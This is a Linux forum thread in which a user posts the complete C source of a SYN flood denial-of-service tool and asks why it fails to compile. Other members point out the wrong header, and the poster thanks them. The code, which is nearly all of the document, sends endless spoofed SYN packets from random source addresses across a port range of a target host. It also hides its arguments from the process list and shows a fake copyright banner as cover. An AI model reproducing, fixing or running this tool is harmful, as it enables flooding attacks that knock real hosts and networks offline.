Find the answer to your Linux question:
Results 1 to 4 of 4
Hello, I am constructing tcp packets in my program by using the header tcp.h (in /usr/include/netinet)........for the SYN flood attack.........On compiling it gives an undeclared error for a variable called ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Mar 2005
    Posts
    41

    help with tcp.h


    Hello,

    I am constructing tcp packets in my program by using the header tcp.h (in /usr/include/netinet)........for the SYN flood attack.........On compiling it gives an undeclared error for a variable called res2......... on checking i found it to be declared in tcp.h .......yet it gives an error.......

    Here is my code........

    Code:
     #include <signal.h>
    
    #include <stdio.h>
    
    #include <netdb.h>
    
    #include <sys/types.h>
    
    #include <sys/time.h>
    
    #include <netinet/in.h>
    
    #include <linux/ip.h>
    
    #include <linux/tcp.h>
    
    
    
    #define SEQ 0x28376839
    
    #define getrandom&#40;min, max&#41; &#40;&#40;rand&#40;&#41; % &#40;int&#41;&#40;&#40;&#40;max&#41;+1&#41; - &#40;min&#41;&#41;&#41; + &#40;min&#41;&#41;
    
    unsigned long send_seq, ack_seq, srcport;
    
    char flood = 0;
    
    int sock, ssock, curc, cnt;
    
    
    /* Check Sum */
    
    unsigned short
    
    ip_sum &#40;addr, len&#41;
    
    u_short *addr;
    
    
    int len;
    
    &#123;
    
       register int nleft = len;
    
       register u_short *w = addr;
    
       register int sum = 0;
    
       u_short answer = 0;
    
       while &#40;nleft > 1&#41;
    
       &#123;
    
          sum += *w++;
    
          nleft -= 2;
    
       &#125;
    
       if &#40;nleft == 1&#41;
    
       &#123;
    
          *&#40;u_char *&#41; &#40;&answer&#41; = *&#40;u_char *&#41; w;
    
          sum += answer;
    
       &#125;
    
       sum = &#40;sum >> 16&#41; + &#40;sum & 0xffff&#41;; /* add hi 16 to low 16 */
    
       sum += &#40;sum >> 16&#41;; /* add carry */
    
       answer = ~sum; /* truncate to 16 bits */
    
       return &#40;answer&#41;;
    
    &#125;
    
    void sig_exit&#40;int crap&#41;
    
    &#123;
    
       #ifndef HEALTHY
    
       printf&#40;"_&#91;H_&#91;JSignal Caught. Exiting Cleanly.\n"&#41;;
    
       exit&#40;crap&#41;;
    
       #endif
    
    &#125;
    
    
    void sig_segv&#40;int crap&#41;
    
    &#123;
    
       #ifndef NOSEGV
    
       printf&#40;"_&#91;H_&#91;JSegmentation Violation Caught. Exiting Cleanly.\n"&#41;;
    
       exit&#40;crap&#41;;
    
       #endif
    
    &#125;
    
    
    unsigned long getaddr&#40;char *name&#41; 
    &#123;
    
       struct hostent *hep;
    
       hep=gethostbyname&#40;name&#41;;
    
       if&#40;!hep&#41; 
       &#123;
    
          fprintf&#40;stderr, "Unknown host %s\n", name&#41;;
    
          exit&#40;1&#41;;
    
       &#125;
    
       return *&#40;unsigned long *&#41;hep->h_addr;
    
    &#125;
    
    
    void send_tcp_segment&#40;struct iphdr *ih, struct tcphdr *th, char *data, int dlen&#41; 
    &#123;
    
       char buf&#91;65536&#93;;
    
       struct &#123; /* rfc 793 tcp pseudo-header */
    
          unsigned long saddr, daddr;
    
          char mbz;
    
          char ptcl;
    
          unsigned short tcpl;
    
       &#125; ph;
    
       struct sockaddr_in sin; /* how necessary is this, given that the destination address is already
                                  in the ip header? */
      ph.saddr=ih->saddr; 
    
       ph.daddr=ih->daddr;
    
       ph.mbz=0;
    
       ph.ptcl=IPPROTO_TCP;
    
       ph.tcpl=htons&#40;sizeof&#40;*th&#41;+dlen&#41;;
    
       memcpy&#40;buf, &ph, sizeof&#40;ph&#41;&#41;;
    
       memcpy&#40;buf+sizeof&#40;ph&#41;, th, sizeof&#40;*th&#41;&#41;;
    
       memcpy&#40;buf+sizeof&#40;ph&#41;+sizeof&#40;*th&#41;, data, dlen&#41;;
    
       memset&#40;buf+sizeof&#40;ph&#41;+sizeof&#40;*th&#41;+dlen, 0, 4&#41;;
    
       th->check=ip_sum&#40;buf, &#40;sizeof&#40;ph&#41;+sizeof&#40;*th&#41;+dlen+1&#41;&~1&#41;;
    
       memcpy&#40;buf, ih, 4*ih->ihl&#41;;
    
       memcpy&#40;buf+4*ih->ihl, th, sizeof&#40;*th&#41;&#41;;
    
       memcpy&#40;buf+4*ih->ihl+sizeof&#40;*th&#41;, data, dlen&#41;;
    
       memset&#40;buf+4*ih->ihl+sizeof&#40;*th&#41;+dlen, 0, 4&#41;;
    
       ih->check=ip_sum&#40;buf, &#40;4*ih->ihl + sizeof&#40;*th&#41;+ dlen + 1&#41; & ~1&#41;;
    
       memcpy&#40;buf, ih, 4*ih->ihl&#41;;
    
       sin.sin_family=AF_INET;
    
       sin.sin_port=th->dest;
    
       sin.sin_addr.s_addr=ih->daddr;
    
    
       if&#40;sendto&#40;ssock, buf, 4*ih->ihl + sizeof&#40;*th&#41;+ dlen, 0, &sin, sizeof&#40;sin&#41;&#41;<0&#41; 
       &#123;
    
          printf&#40;"Error sending syn packet.\n"&#41;; perror&#40;""&#41;;
    
          exit&#40;1&#41;;
    
       &#125;
    
    &#125;
    
    
    unsigned long spoof_open&#40;unsigned long my_ip, unsigned long their_ip, unsigned short port&#41; 
    &#123;
    
       int i, s;
    
       struct iphdr ih;
    
       struct tcphdr th;
    
       struct sockaddr_in sin;
    
       int sinsize;
    
       unsigned short myport=6969;
    
       char buf&#91;1024&#93;;
    
       struct timeval tv;
    
       ih.version=4;
    
       ih.ihl=5;
    
       ih.tos=0; /* XXX is this normal? */
    
       ih.tot_len=sizeof&#40;ih&#41;+sizeof&#40;th&#41;;
    
       ih.id=htons&#40;random&#40;&#41;&#41;;
    
       ih.frag_off=0;
    
       ih.ttl=30;
    
       ih.protocol=IPPROTO_TCP;
    
       ih.check=0;
    
       ih.saddr=my_ip;
    
       ih.daddr=their_ip;
    
       th.source=htons&#40;srcport&#41;;
    
       th.dest=htons&#40;port&#41;;
    
       th.seq=htonl&#40;SEQ&#41;;
    
       th.doff=sizeof&#40;th&#41;/4;
    
       th.ack_seq=0;
    
       th.res1=0;
    
       th.fin=0;
    
       th.syn=1;
    
       th.rst=0;
    
       th.psh=0;
    
       th.ack=0;
    
       th.urg=0;
    
       th.res2=0;
    
       th.window=htons&#40;65535&#41;;
    
       th.check=0;
    
       th.urg_ptr=0;
    
       gettimeofday&#40;&tv, 0&#41;;
    
       send_tcp_segment&#40;&ih, &th, "", 0&#41;;
    
       send_seq = SEQ+1+strlen&#40;buf&#41;;
    
    &#125;
    
    
    void upsc&#40;&#41;
    
    &#123;
    
       int i;
    
       char schar;
    
       switch&#40;cnt&#41;
    
       &#123;
    
          case 0&#58;  &#123;
    
                      schar = '|';
    
                      break;
    
                   &#125;
    
          case 1&#58;  &#123;
    
                      schar = '/';
    
                      break;
    
                   &#125;
    
          case 2&#58;  &#123;
    
                      schar = '-';
    
                      break;
    
                   &#125;
    
          case 3&#58;  &#123;
    
                      schar = '\\';
    
                      break;
    
                   &#125;
    
          case 4&#58;  &#123;
    
                      schar = '|';
    
                      cnt = 0;
    
                      break;
    
                   &#125;
    
       &#125;
    
       printf&#40;"_&#91;H_&#91;1;30m&#91;_&#91;1;31m%c_&#91;1;30m&#93;_&#91;0m %d", schar, curc&#41;;
    
       cnt++;
    
       for&#40;i=0; i<26; i++&#41; 
       &#123;
    
          i++;
    
          curc++;
    
       &#125;
    
    &#125;
    
    
    void init_signals&#40;&#41;
    
    &#123;
    
       // Every Signal known to man. If one gives you an error, comment it out!
    
       signal&#40;SIGHUP, sig_exit&#41;;
    
       signal&#40;SIGINT, sig_exit&#41;;
    
       signal&#40;SIGQUIT, sig_exit&#41;;
    
       signal&#40;SIGILL, sig_exit&#41;;
    
       signal&#40;SIGTRAP, sig_exit&#41;;
    
       signal&#40;SIGIOT, sig_exit&#41;;
    
       signal&#40;SIGBUS, sig_exit&#41;;
    
       signal&#40;SIGFPE, sig_exit&#41;;
    
       signal&#40;SIGKILL, sig_exit&#41;;
    
       signal&#40;SIGUSR1, sig_exit&#41;;
    
       signal&#40;SIGSEGV, sig_segv&#41;;
    
       signal&#40;SIGUSR2, sig_exit&#41;;
    
       signal&#40;SIGPIPE, sig_exit&#41;;
    
       signal&#40;SIGALRM, sig_exit&#41;;
    
       signal&#40;SIGTERM, sig_exit&#41;;
    
       signal&#40;SIGCHLD, sig_exit&#41;;
    
       signal&#40;SIGCONT, sig_exit&#41;;
    
       signal&#40;SIGSTOP, sig_exit&#41;;
    
       signal&#40;SIGTSTP, sig_exit&#41;;
    
       signal&#40;SIGTTIN, sig_exit&#41;;
    
       signal&#40;SIGTTOU, sig_exit&#41;;
    
       signal&#40;SIGURG, sig_exit&#41;;
    
       signal&#40;SIGXCPU, sig_exit&#41;;
    
       signal&#40;SIGXFSZ, sig_exit&#41;;
    
       signal&#40;SIGVTALRM, sig_exit&#41;;
    
       signal&#40;SIGPROF, sig_exit&#41;;
    
       signal&#40;SIGWINCH, sig_exit&#41;;
    
       signal&#40;SIGIO, sig_exit&#41;;
    
       signal&#40;SIGPWR, sig_exit&#41;;
    
    &#125;
    
    
    main&#40;int argc, char **argv&#41; 
    &#123;
    
       int i, x, max, floodloop, diff, urip, a, b, c, d;
    
       unsigned long them, me_fake;
    
       unsigned lowport, highport;
    
       char buf&#91;1024&#93;, *junk;
    
       init_signals&#40;&#41;;
    
       #ifdef HIDDEN
    
         for &#40;i = argc-1; i >= 0; i--&#41;
    
        /* Some people like bzero...i prefer memset &#58;&#41; */
    
           memset&#40;argv&#91;i&#93;, 0, strlen&#40;argv&#91;i&#93;&#41;&#41;;
    
         strcpy&#40;argv&#91;0&#93;, HIDDEN&#41;;
    
       #endif
    
       if&#40;argc<5&#41; 
       &#123;
    
          printf&#40;"Usage&#58; %s srcaddr dstaddr low high\n", argv&#91;0&#93;&#41;;
    
          printf&#40;" If srcaddr is 0, random addresses will be used\n\n\n"&#41;;
    
          exit&#40;1&#41;;
    
       &#125;
    
       if&#40; atoi&#40;argv&#91;1&#93;&#41; == 0 &#41;
    
          urip = 1;
    
       else
    
          me_fake=getaddr&#40;argv&#91;1&#93;&#41;;
    
       them=getaddr&#40;argv&#91;2&#93;&#41;;
    
       lowport=atoi&#40;argv&#91;3&#93;&#41;;
    
       highport=atoi&#40;argv&#91;4&#93;&#41;;
    
       srandom&#40;time&#40;0&#41;&#41;;
    
       ssock=socket&#40;AF_INET, SOCK_RAW, IPPROTO_RAW&#41;;
    
       if&#40;ssock<0&#41; 
       &#123;
    
          perror&#40;"socket &#40;raw&#41;"&#41;;
    
          exit&#40;1&#41;;
    
       &#125;
    
       sock=socket&#40;AF_INET, SOCK_RAW, IPPROTO_TCP&#41;;
    
       if&#40;sock<0&#41; 
       &#123;
    
          perror&#40;"socket"&#41;;
    
          exit&#40;1&#41;;
    
       &#125;
    
       junk = &#40;char *&#41;malloc&#40;1024&#41;;
    
       max = 1500;
    
       i = 1;
    
       diff = &#40;highport - lowport&#41;;
    
       if &#40;diff > -1&#41;
    
       &#123;
    
          printf&#40;"_&#91;H_&#91;J\n\nCopyright &#40;c&#41; 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the
                 University\n of California. All Rights Reserved."&#41;;
          for &#40;i=1;i>0;i++&#41;
    
          &#123;
    
             srandom&#40;&#40;time&#40;0&#41;+i&#41;&#41;;
    
             srcport = getrandom&#40;1, max&#41;+1000;
    
             for &#40;x=lowport;x<=highport;x++&#41;
    
             &#123;
    
                if &#40; urip == 1 &#41;
    
                &#123;
    
                   a = getrandom&#40;0, 255&#41;;
    
                   b = getrandom&#40;0, 255&#41;;
    
                   c = getrandom&#40;0, 255&#41;;
    
                   d = getrandom&#40;0, 255&#41;;
    
                   sprintf&#40;junk, "%i.%i.%i.%i", a, b, c, d&#41;;
    
                   me_fake = getaddr&#40;junk&#41;;
    
                &#125;
    
                spoof_open&#40;/*0xe1e26d0a*/ me_fake, them, x&#41;;
    
                /* A fair delay. Good for a 28.8 connection */
    
                usleep&#40;300&#41;;
    
                if &#40;!&#40;floodloop = &#40;floodloop+1&#41;%&#40;diff+1&#41;&#41;&#41; 
                &#123;
    
                   upsc&#40;&#41;; fflush&#40;stdout&#41;;
    
                &#125;
    
             &#125;
    
          &#125;
    
       &#125;
    
       else 
       &#123;
    
          printf&#40;"High port must be greater than Low port.\n"&#41;;
    
          exit&#40;1&#41;;
    
       &#125;
    
    &#125;
    Please sugest what to do.........

  2. #2
    Just Joined!
    Join Date
    Feb 2005
    Location
    Delft, Holland
    Posts
    95
    You are including the wrong header

  3. #3
    Linux User
    Join Date
    Oct 2004
    Location
    Serbia&Montenegro
    Posts
    281
    You said you are using /usr/include/netinet/tcp.h. I don't see it included in the code.
    Linux registered user #358842
    Human knowledge belongs to the world.

  4. #4
    Just Joined!
    Join Date
    Mar 2005
    Posts
    41

    Oops.........

    Oops........

    I bungled up......Thanks for bringing tht to my attention.......was debugging many pgms at once.......and so i guess i goofed up.......

    Thanks a lot......

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •